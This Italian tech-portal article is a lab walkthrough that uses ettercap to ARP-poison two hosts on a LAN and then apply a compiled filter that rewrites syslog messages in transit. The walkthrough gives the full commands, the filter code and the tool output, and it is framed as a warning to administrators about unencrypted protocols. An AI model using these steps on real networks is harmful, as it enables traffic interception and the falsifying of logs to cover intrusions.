Home Tecnica Sicurezza ettercap: il man-in-the-middle facile

In evidenza

SMAU Torino 2013: le eccellenze del Piemonte

SMAU Torino 2013: le eccellenze del Piemonte

L'8 e il 9 maggio, presso il padiglione 1 di Lingotto Fiere, Smau Torino apre la prima edizione piemontese...
SMAU Padova 2013: i migliori imprenditori del Veneto

SMAU Padova 2013: i migliori imprenditori del Veneto

In occasione di Smau Padova, mercoledì 17 e giovedì 18 aprile, al padiglione 11 di Padova Fiere i Giovani...
SMAU Roma 2013: ricerca ed innovazione

SMAU Roma 2013: ricerca ed innovazione

Alla Nuova fiera di Roma il 20 e il 21 marzo si terrà la quarta edizione di SMAU Business Roadshow 2013. La...
SMAU Bari 2013: idee tecnologiche giovani e intelligenti in gara

SMAU Bari 2013: idee tecnologiche giovani e intelligenti in gara

Il 6 e il 7 febbraio alla Fiera del Levante di Bari si terrà la prima tappa di SMAU Business Roadshow...

Società Italiana dei Professionisti delle Scienze dell'Informazione

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Modifica del Regolamento Attuativo

La Società Italiana dei Professionisti delle Scienze dell'Informazione, con delibera del Consiglio Direttivo del 28/03/2013 ha modificato il proprio Regolamento Attuativo.

09 Apr 2013 - Letture:182

Iscrizione nuovi soci (28/03/2013)

La Società Italiana dei Professionisti delle Scienze dell'Informazione, con delibera del Consiglio Direttivo del 28/03/2013 ha iscritto nel proprio Libro dei Soci dei nuovi professionisti.

29 Mar 2013 - Letture:235

Corsi per personale docente e amministrativo accreditati dal MIUR

L'associazione SIPSI, associazione senza scopo di lucro, sta organizzando corsi riservati al personale docente e amministrativo che, una volta accreditati dal MIUR, verranno svolti nel 2014 a livello nazionale anche in modalità e-learning. Di seguito si riporta la scheda dei relativi...

08 Mar 2013 - Letture:333

Tavolo tecnico su art. 68 del Codice dell'Amministrazione Digitale

L'Agenzia per l'Italia Digitale ha indetto (tramite avviso pubblicato sul sito web dell'Agenzia in data 11/12/2012) una selezione per un tavolo di lavoro per la definizione di modalità e criteri per la valutazione comparativa ai sensi dell'art. 68 del Codice...

05 Mar 2013 - Letture:253

Iscrizione nuovi soci (21/01/2013)

La Società Italiana dei Professionisti delle Scienze dell'Informazione, con delibera del Consiglio Direttivo del 21/01/2013 ha iscritto nel proprio Libro dei Soci dei nuovi professionisti.

22 Gen 2013 - Letture:316

Convenzione con Ekoore

La Società Italiana dei Professionisti delle Scienze dell'Informazione ha stipulato una convenzione con l'Azienda Ekoore grazie alla quale ogni Socio avrà la possibilità di ottenere uno sconto su notebook, tablet ed altri dispositivi informatici.

29 Nov 2012 - Letture:383

Convenzione con Multiverso (Back S.a.s.)

La Società Italiana dei Professionisti delle Scienze dell'Informazione ha stipulato una convenzione con l'Azienda Multiverso (Back S.a.s.) grazie alla quale ogni Socio avrà la possibilità di ottenere uno sconto su servizi di coworking.

29 Ott 2012 - Letture:319

Bandi di Concorso

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Avviso di selezione nell'Agenzia per l'Italia Digitale di 3 analisti ICT

Nell’ambito del progetto Sistema Pubblico di connettività l'Agenzia per l'Italia digitale ha indetto una procedura comparativa per il conferimento di tre incarichi di collaborazione coordinata e continuativa per profili specialistici di “Analista ICT”.

09 Mag 2013 - Letture:150

Incentivi start-up imprese provincia di Lucca

E’ stato finanziato dalla Provincia di Lucca il bando “Linea Credito Nuova Impresa”  per il 2013. Con lo stesso  potranno essere fornite agevolazioni a coloro che intendono intraprendere un’attività professionale di lavoro autonomo, anche in forma associata. I beneficiari potranno essere: inattivi, inoccupati,...

27 Feb 2013 - Letture:27

Incarico libero professionale di Informatico in tele-radiocomunicazione

Avviso di selezione pubblica per l'affidamento  di incarico libero professionale di Informatico con competenze di tele-radiocomunicazione.

19 Nov 2012 - Letture:43

Due posti collaboratori informatici alla ASL di Teramo

Bando di concorso per titoli ed esami per due posti "collaboratore tecnico-profilo professionale informatico" presso l'azienda unità sanitaria locale di Teramo. Titolo di studio richiesto: diploma di laurea in Informatica V.O. o laurea specialistica ex DM 509/99 o magistrale ex DM 270/2004.

07 Nov 2012 - Letture:38

Concorso alla Banca d'Italia per coadiutori tecnici nel settore dell'ICT

La Banca d'Italia indice i seguenti due concorsi pubblici per l'assunzione di:   A. 2  Coadiutori  tecnici con orientamento nel campo dello sviluppo/manutenzione di applicazioni informatiche. B. 3  Coadiutori tecnici con orientamento nel campo dello sviluppo/manutenzione/gestione operativa di sistemi informatici e/o reti...

06 Nov 2012 - Letture:46

Posto per programmatore presso Azienda

E' indetto un concorso pubblico, per titoli ed esami, per la copertura di n. 1 posto di “Programmatore” - Cat. C, di cui al vigente C.C.N.L. - Comparto Sanità Pubblica. La sede di lavoro è presso la Sede Centrale aziendale...

05 Nov 2012 - Letture:37

Corsi per dottorato di ricerca presso l'Università "'Federico II" di Napoli

Selezione per l'ammissione ai corsi di dottorato di ricerca  -  XXVII   ciclo, relativamente a complessivi 40 posti  con  borsa  di  studio   finanziata  nell'ambito  del  progetto  «Dottorato  di  ricerca  in   azienda» - POR Campania FSE 2007-2013, Asse IV. Possono...

27 Set 2012 - Letture:20

Tips & Tricks

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Grub2: ripristino di Grub da live-cd

Può succedere che GRUB2, per svariate cause non si avvii più, rendendo inservibile il nostro sistema operativo Debian (o altri sistemi operativi GNU/Linux installati nell’hard disk). Una delle cause principali di tutto questo è per esempio il voler installare anche Windows...

29 Mar 2013 - Letture:355

Thomson TG585 v8: cambio DNS

Il software del router Thomson TG585 v8 non permette di modificare i DNS, così, se per esempio si volessero sostituire i DNS del provider con gli OpenDNS, non si trova nessuna interfaccia grafica per farlo. L'unica strada è quella di...

28 Feb 2013 - Letture:533

Emacs: tabbar-mode

Una cosa utilissima presente negli editor (ma anche nei browser web) è quella di poter aprire una serie di documenti non in nuove pagine ma in schede o tab. Rimanendo nella categoria degli editor, un ottimo esempio è dato da Geany...

27 Feb 2013 - Letture:288

Touchpad Tapping & Scrolling in Debian GNU/Linux

In Debian Squeeze 6 (anche in Wheezy), il tapping è disabilitato di default: "(xserver-xorg-input-synaptics (in Squeeze) has tapping disabled by default for touchpads with one or more physical buttons; see /usr/share/doc/xserver-xorg-input-synaptics/NEWS.Debian.gz. For a list of available options, see synclient -l . Not...

26 Feb 2013 - Letture:328

Comparare due float in bash

Mi è capitato spesso di dover fare dei test tipo A > B dove A e B sono due numeri reali (float) all'interno di uno script bash. Il problema però è che bash ha solo una aritmetica intera... Cercando un po'...

22 Feb 2013 - Letture:323

Generare file binari al volo

Oggi mi è capitato di dover creare un file binario contente i dei valori esadecimali definiti dalla stringa BEBABEBAEFBEADDEBEBABEBAEFBEADDE. L'operazione è poco frequente perché, di solito, serve il contrario e cioè poter leggere il contenuto di un file binario; e questo...

04 Feb 2013 - Letture:316

Error 137 - chrome Internet non funziona

Error 137 - ERR_NAME_RESOLUTION_FAILED E' con questo messaggio di errore che negli ultimi giorni si stanno scontrando molti utenti Internet, e purtroppo la messaggistica a riguardo soprattutto se non si è pratici delle configurazioni delle connessioni di rete diventano particolarmente ostiche. Naturlamente...

24 Gen 2013 - Letture:980

I più attivi

Dati e punteggi dell'ultimo anno

Rodolfo Giometti Rodolfo Giometti
29 articoli
2,506 punti totali
Alfredo Visconti Alfredo Visconti
21 articoli
0,947 punti totali
Vittorio D'Aversa Vittorio D'Aversa
15 articoli
0,404 punti totali
Giovanna Casamassima Giovanna Casamassima
19 articoli
0,382 punti totali
Società Italiana dei Professionisti delle Scienze dell'Informazione Società Italiana dei Professionisti delle Scienze dell'Informazione
9 articoli
0,123 punti totali

Ci hanno visitato

Oggi:309
Ieri:2089
Totali (14/04/09):1974747

I nostri numeri

Articoli pubblicati: 707
Iscritti al portale: 1021
Iscritti all'Elenco: 213
Iscritti ML Discussioni: 401
Iscritti ML Articoli: 31
Iscritti ML Lavoro: 193
 

Touchpad Tapping & Scrolling in Debian GNU/Linux

In Debian Squeeze 6 (anche in Wheezy), il tapping è disabilitato di default:&nbs...

Emacs: tabbar-mode

Una cosa utilissima presente negli editor (ma anche nei browser web) è quella di...

Thomson TG585 v8: cambio DNS

Il software del router Thomson TG585 v8 non permette di modificare i DNS, così, ...

Portare la BeagleBone su OpenWRT

La BeagleBone è una scheda embedded ben supportata da diverse distribuzioni (emb...

Ubuntu Spyware: cosa si può fare?

Il Software Libero è una questione di libertà, non di prezzo. La libertà è quell...

Generare un file da 10GB in 2 millisecondi!

Chi ha a che fare con le macchine virtuali o deve generare delle immagini di fil...

PHP & Busybox httpd

Esistono diversi web server pensati appositamente per i sistemi embedded, alcuni...

Clonare una macchina vera in 30 minuti con VirtualBox

Essendo uno sviluppatore mi son reso conto che la virtualizzazione di una macchi...

Disattivare il controllo account utente in Windows 7 e Vista

Il controllo account utente è quel particolare servizio progettato per aumentare...

busybox & Android: la command line facile

Nei precedenti articoli abbiamo visto due tecniche per aggiungere nuovi programm...

La gestione dei pacchetti di OpenWRT

Una distribuzione embedded è quanto più versatile quanti più pacchetti software ...

Grub2: ripristino di Grub da live-cd

Può succedere che GRUB2, per svariate cause non si avvii più, rendendo inservibi...

Come ti controllo i tassi di interesse con Linux

In questi giorni sto cercando di fare una surruga per il mutuo di casa mia. Tra ...

L'SMS autoprodotto!

Tempo fa sulla mailing list di CFI ho provato a lanciare l'idea di effettuare un...

Openembedded: la distribuzione «ristretta» per Linux

Quando le risorse di un sistema sono limitate non è possibile usare una distribu...

Quando Arduino incontra Linux

Connettere Arduino ad Internet significa aprire un mare di possibilità in cui po...

"Impronte digitali" anche per le macchine fotografiche

Da www.hwupgrade.it: Una ricerca della Binghamton University ha messo a punto u...

Intervista esclusiva a Mageia Linux

La Presidente dell'Associazione MAGEIA.ORG, Anne Nicolas, in questa intervi...

Installare Linux su una USB key: ecco come!

L’installazione  e l'avvio di una distribuzione Linux Live da un supporto U...

Linutop OS 4.0: Internet, Chiosco Multimediale e non solo!

Presentata negli ultimi giorni nella capitale francese la nuova distribuzione LI...

Spotify sbarca in Italia e anche Linux

Spotify è arrivato anche in Italia da poco più di una settimana e finalmente s...

Sabayon Linux 5.4 (32 e 64 bit)

E' stata rilasciata online la nuova versione 5.4 di Sabayon Linux, una tra ...

Socat: quando i dati passano via rete

Lavorando coi sistemi embedded molte volte mi capita di dovermi arrangiare su di...

Registrazione domini: qualche novità per i “punto it”

Dal prossimo mese di luglio, esattamente dal giorno 11, presso il Registro ...

Come installare un programma da una macchina Debian ad un'altra

Mi è capitato alcune volte di avere la necessità di eseguire il programma strace...

Quando manca il comando «ldd»

Mi son trovato in questi giorni a dover lavorare con una distribuzione GNU/Linux...

Geexbox: la mini distro MediaCenter Linux

Geexbox è un piccolo ma potente sistema operativo orientato alla riproduzione di...

Odroid: la piattaforma di gioco libera

Si chiama Odroid ed e basata su Android, è la prima piattaforma di gioco interam...

Code Smells

Sempre più spesso il codice ha un cattivo odore. Sei sicuro di non scrivere cod...

WODE, l'emulatore DVD per la Wii

Qualche giorno fa mi è capitato di sfidare mio cognato ad una partitella a tenni...

Recuperare risorse attraverso l'organizzazione

E' sempre maggiore la necessità di rendere efficienti i processi produttivi pres...

Cluster VMWARE

In questo articolo vediamo come realizzare un cluster di macchine virtuali con u...

Cloud Money

Discorrendo con un collega di cloud computing, si è finito, come al solito, a pa...

I-Memo: le password personali sempre con te

Prodotto dalla MensTecnica, una giovane azienda della Basilicata fondata nel 200...

Il settore danneggiato e l'acquisizione forense

Se si deve acquisire un hard disk in maniera forense, ossia con tutti i crismi n...

Velocizzare la compilazione di Linux

Lavorando con sistemi embedded di diversa natura mi capita spessissimo di dover ...

Universal USB Installer 1.8.04 e Ubuntu Linux 10.10

Rilasciata il 10.10(.2010) la nuova versione di Ubuntu Linux (la data corrispond...

SUN Wiki Publisher: scrivere facilmente su Wikipedia

Personalmente uso parecchio Mediawiki (il motore di Wikipedia); lo ritengo un ot...

Linutop4 PC

Il produttore francese Linutop, con sede a Parigi, ha annunciato il nuovo modell...

Il telefono… la tua voce!

Era lo slogan pubblicitario della Telecom di un po’ di anni fa. Certo, al concet...

E-Waste: il rischio nella spazzatura

Partendo dalla segreteria telefonica attraverso il fax e l’agendina elettronica ...

Kameleon: oltre i limiti della virtualizzazione

Negli ultimi anni la potenza dei computer e la loro capacità è aumentata in modo...

Comparare due float in bash

Mi è capitato spesso di dover fare dei test tipo A > B dove A e B sono due nu...

Controllare MAME con Wiimote su N900!

Ecco un'altra dimostrazione delle potenzialità di questo telefono (se vogliamo c...

OpenWRT: la distribuzione piccola e versatile

In queste ultime settimane ho avuto modo di vedere da vicino OpenWRT, una distri...

Storie di kernel e microkernel

Ken Brown, della fondazione Alexis de Tocqueville Institution, sosteneva, in un ...

Cifratura wireless: TKIP vs AES

Una delle domande più frequenti di chi intende implementare una rete Wireless è...

Cloud Computing: cos'è veramente?

Da qualche tempo si sente sempre più parlare di Cloud Computing. Sembra che ques...

Generare file binari al volo

Oggi mi è capitato di dover creare un file binario contente i dei valori esadeci...

Quando Firefox è lento

E' da qualche tempo che mi son accorto che Firefox, sulla mia Ubuntu 12.04 64bit...

IPhone recupero file: un gioco di squadra!

Un giorno l'amico Armando Buzzanca mi chiama perchè deve recuperare una no...

Anomalie di partizionamento hard disk: un esperienza personale

Nonostante le decine di installazioni delle varie distribuzioni Linux eseguite s...

NBTempo: una GUI per le timeline

Svolgendo alcuni casi in cui serviva creare delle timeline per verificare l'att...

Come saltare il proxy «blocca-tutto» aziendale

Mi capita spesso, ma non sempre, di andare da dei miei clienti e non potermi con...

Backup mail server: quando il mail server non è raggiungibile

Se avete il mail server in proprio potrebbe succedere che questo non sia raggiun...

Generare un file pieno di 0xff

Per generare in file da 16Kbyte pieno di zeri su di un sistema UNIX/GNU-Linux si...

Multi puntatore su Ubuntu 10.4: ecco come

Tempo fa ebbi modo di dare un'occhiata al progetto MPX per un cliente. La cosa n...

Multistrap: come ti creo un rootfs Debian dal nulla

Una volta c'era debootstrap, un tool fantastico che permetteva di creare un root...

Sicurezza informatica: safety, dependability, security

La sempre maggiore diffusione delle tecnologie ha profondamente rivoluzionato la...

Come disabilitare il «Global Menu» in Ubuntu 11.10 e 12.04

Una delle novità introdotte nelle ultime versioni di Ubuntu (che usano quindi Gn...

ettercap: il man-in-the-middle facile Stampa E-mail
(1 voto, media 5.00 di 5)
Area Tecnica - Sicurezza
Scritto da Rodolfo Giometti   
Domenica 29 Agosto 2010 14:34
Articolo letto 3821 volte

logo

Troppo spesso mi rendo conto che molti considerano la rete aziendale o quella casalinga come sicura, pensando cioè che nessuno possa sapere quello che entra ed esce da e verso il proprio PC. Si pensa cioè che nessuno possa intercettare i nostri dati.

Ovviamente questo non è vero... a meno che non si usino trasmissioni basate su sistemi crittografici ben testati e liberamente studiabili per proteggere le proprie comunicazioni. In questo caso infatti le possibilità di essere intercettati è praticamente nulla.

Si noti che ho detto intenzionalmente «liberamente studiabili», sì perché un sistema è sicuro solo se è dimostrato che è sicuro e non perché ce lo assicura qualcuno... men che meno chi ce lo vuol vendere (mai fidarsi dei venditori! n.d.a. :). Di solito i sistemi basati sul Software Libero hanno questa caratteristica perché sono gli unici che possono essere validati da chiunque a partire dal codice sorgente fino al processo di compilazione.

Per sottolineare quanto detto, e quindi dimostrare come sia facile effettuare un banale attacco informatico in una LAN aziendale e/o casalinga userò ettercap. Con ettercap è possibile realizzare un attacco di tipo man-in-the-middle in una rete LAN dimostrando così molto velocemente come questa non sia assolutamente sicura se non si prendono le dovute precauzioni.

Naturalmente è possibile usare ettercap non solo per azioni cattive, ma anche per quelle buone: è possibile infatti usarlo anche per scoprire altri attacchi di tipo man-in-the-middle e proteggere quindi la propria LAN!

Quello che vi mostrerò in questo articolo serve solo per fare un esempio di quello che potrebbe succedere se non si protegge la propria LAN in maniera opportuna e non va inteso in nessun modo come un esempio di come compiere azioni illegali! Al contrario, serve a far vedere agli amministratori di sistema distratti da cosa si devono difendere!

Come esempio vediamo come taroccare i messaggi di log che un sistema può inviare ad un server il quale ha il compito di memorizzarli sui sui dischi interni per successive analisi da parte degli amministratori di rete. Questo sistema di invio dei log è standard su molti sistemi ma purtroppo presenta gravi lacune di sicurezza non utilizzando nessun sistema di crittazione e/o autenticazione per lo scambio dati!

Ma procediamo passo passo ed installiamoci ettercap; sulla mia ubuntu do semplicemente:

# aptitude install ettercap

e poi facciamo alcune supposizioni:

  1. Per effettuare l'attacco man-in-the-middle dobbiamo avere un PC nella sottorete da attaccare; supponiamo di avere una LAN di classe C con indirizzi nella sottorete 192.168.56.0/24.
  2. Supponiamo poi di sapere quale sia l'IP del server che raccoglie i log dei sistemi apparteneti alla sottorete; nel nostro caso 192.168.56.4.
  3. Il nostro attacco, in fine, si baserà sul modificare i log che un host invia al server; supponiamo che il suo IP sia 192.168.56.3.

Il punto 1. sembra molto difficile da realizzare, ma in realtà non lo è; infatti in molti casi gli attacchi ad un sistema informatico avvengono proprio da dentro la LAN e non dal di fuori! Nel nostro caso poi il fatto di voler inquinare i messaggi di log di un sistema è voluto proprio da chi sta dentro la LAN in modo da mascherare le (possibili) attività illecite che si vogliono perpretare.

Il punto 2. è anch'esso banale da realizzare. Riuscire a sapere l'IP di un server di un servizio pubblico è molto semplice, addirittura per un dipendente infedele basterà chiederlo all'amministratore di sistema...

Il punto 3. dice quale sarà il tipo di attacco che vogliamo realizzare, ma ne potremmo fare molti altri: carpire password, sniffare e-mail, sapere quali siti web vengono visitati da un PC, ecc..

Appurato questo facciamo uno schema del nostro attacco man-in-the-middle; normalmente la connessione tra il log server e un qualsiasi PC è:

                     +-----------+
                     |    HUB    |
                     +-+-+-+-+-+-+
                       |   |   |
        +--------------+   |   +--------------+
        |                  |                  |
+-------+-----------+      |        +---------+---------+
|    Log Server     ||        PC         |
|   192.168.56.4    |      |        |   192.168.56.3    |
| 08:00:27:E1:B6:C0 |      |        | 08:00:27:6c:b3:7f |
+-------------------+      |        +-------------------+
                           |
                   +-------+-----------+
                   |       MITM        |
                   |   192.168.56.1    |
                   | 0a:00:27:00:00:00 |
                   +-------------------+

In nero ho riportato i collegamenti fisici, mentre in rosso quelli logici (quelli cioè che vengono visti dagli utenti dei vari sistemi). Ho anche riportato la connesione fisica della macchina MITM che uso per eseguire l'attacco man-in-the-middle e dove ho installato ettercap, la quale, al momento, non ha nessun tipo di colloquio coi due sistemi vittima.

In queste condizioni le tabelle ARP dei due sistemi sono, per il log server:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.3             ether   08:00:27:6c:b3:7f   C                     eth0

mentre per il PC:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.4             ether   08:00:27:E1:B6:C0   C                     eth0

Ora iniziamo ad analizzare i pacchetti di log che i due sistemi si scambiano generando dei messaggi del tipo:

Aug 26 16:19:56 192.168.56.3 root: System is doing something evil

(per generare questi messaggi ho usato il comando logger)

Quindi abilitiamo l'attacco man-in-the-middle sulla macchina MITM e sniffiamo tutti i pacchetti che le due macchine si scambiano, ettercap ci mostra allora il seguente output:

# ettercap -T -i vboxnet0 -M arp /192.168.56.3/ /192.168.56.4/
[sudo] password for giometti:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on vboxnet0... (Ethernet)

vboxnet0 ->    0A:00:27:00:00:00      192.168.56.1     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.56.3 08:00:27:6C:B3:7F

GROUP 2 : 192.168.56.4 08:00:27:E1:B6:C0
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help



Thu Aug 26 16:20:01 2010
UDP  192.168.56.3:514 --> 192.168.56.4:514 |

root: System is doing something evil

(non tenete conto delle date, potrebbero non essere coerenti, ciò è dovuto ad errate impostazioni dei timer di sistema e alle varie revisioni dell'articolo... inoltre, come avrete capito, il test l'ho fatto con delle macchine virtuali che girano su Virtualbox)

Se ora andiamo a ricontrollare la tabella ARP del log server:

root@node00:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.3             ether   0a:00:27:00:00:00   C                     eth0

e del PC:

sarge:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.56.4             ether   0A:00:27:00:00:00   C                     eth0

vediamo subito che sono state modificate: l'attacco è quindi in atto! Da ora in poi tutti i pacchetti da e verso i due PC vittima passeranno dal sistema (MITM) che attua l'attacco, si ha cioè una connessione logica (in rosso) del tipo:

                     +-----------+
                     |    HUB    |
                     +-+-+-+-+-+-+
                       |   |   |
        +--------------+   |   +--------------+
        |                  |                  |
+-------+-----------+      |        +---------+---------+
|    Log Server     |      |        |        PC         |
|   192.168.56.4    |      |        |   192.168.56.3    |
| 08:00:27:E1:B6:C0 |      |        | 08:00:27:6c:b3:7f |
+-------------------+      |        +---------+---------+
             ^             |                  ^
             |     +-------+-----------+      |
             |     |       MITM        |      |
             +---->|   192.168.56.1    |<-----+
                   | 0a:00:27:00:00:00 |
                   +-------------------+

Infatti, come mostrato, ettercap ci fa vedere il traffico di rete che intercorre tra le due macchine... ma non solo! Con ettercap lo possiamo anche modificare questo traffico di rete, basta usare un filtro. Un filtro ettercap è un programma scritto in un linguaggio molto simile al C e che può essere usato per analizzare e/o modificare al volo i pacchetti di rete intercettati da ettercap.

Il codice sorgente di un filtro appare come segue:

if (udp.src == 514 || udp.dst == 514) {
        if (search(DATA.data, "evil")) {
                replace("evil", "good");
                msg("string \"evil\" replaced!\n");
        }
}

ed il significato è abbastanza banale: se un pacchetto è di tipo UDP con porta sorgente o destinataria 514 e dentro il campo dati del medesimo pacchetto trovi la stringa evil, rimpiazzala con la stringa good e mostra il messaggio string "evil" replaced! all'utente ettercap.

Ora salviamo il filtro nel file syslog.filter e compiliamolo salvando il compilato del file syslog.filter.ef:

$ etterfilter syslog.filter -o syslog.filter.ef

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA


12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'syslog.filter'  done.

Unfolding the meta-tree  done.

Converting labels to real offsets  done.

Writing output to 'syslog.filter.ef'  done.

-> Script encoded into 9 instructions.

quindi rilanciamo ettercap con il nuovo filtro:

# ettercap -T -i vboxnet0 -M arp -F syslog.filter.ef /192.168.56.3/ /192.168.56.4/

Se ora mandiamo un nuovo messaggio di log come già fatto prima, ettercap ci dice:

Thu Aug 26 16:25:41 2010
UDP  192.168.56.3:514 --> 192.168.56.4:514 |

root: System is doing something evil

string "evil" replaced!

mentre il log server ci mostra il messaggio:

Aug 26 16:25:45 192.168.56.3 root: System is doing something good

Il messaggio di log è stato taroccato! Facile no? :)

 
 

Accesso iscritti

           | 

In primo piano

Un nuovo sponsor per il Portale

Un nuovo sponsor per il Portale

Vi sarete senz'altro accorti che il nostro portale, da qualche tempo, è molto più affidabile e reattivo....
Simons Voss: un mondo senza chiavi

Simons Voss: un mondo senza chiavi

Il sistema di gestione e di controllo degli accessi 3060 si presenta come un’alternativa con enormi vantaggi...
Pubblicità mirata dei prodotti

Pubblicità mirata dei prodotti

Hai un prodotto o un servizio da pubblicizzare? Fallo su consulenti-ict.it! Pubblicizzare un prodotto...
Recensioni sul Portale

Recensioni sul Portale

Hai un prodotto hardware/software o un libro riguardante uno dei temi dell'ICT? Vuoi farlo conoscere...

Professionisti e Consulenti ICT

Dai un'occhiata al nostro Elenco dei Professionisti e Consulenti ICT.
Trova l'esperto informatico, elettronico o delle telecomunicazioni che fa per te!

Mappa dell'Italia Puglia Molise Campania Abruzzo Marche Lazio Umbria Basilicata Toscana Emilia Romagna Calabria

- ItaliaCMS

Offerte di lavoro

Visualizza Topic »

Rodolfo Giometti at Studio EnneEnne - GNU/Linux embedded systems
La casa vacanze in Toscana perfetta per famiglie e gruppi numerosi.

Discussioni dal Forum

Nessun post da visualizzare.

Eventi

Non ci sono eventi in programma

Sondaggi

busyCaricamento Sondaggio...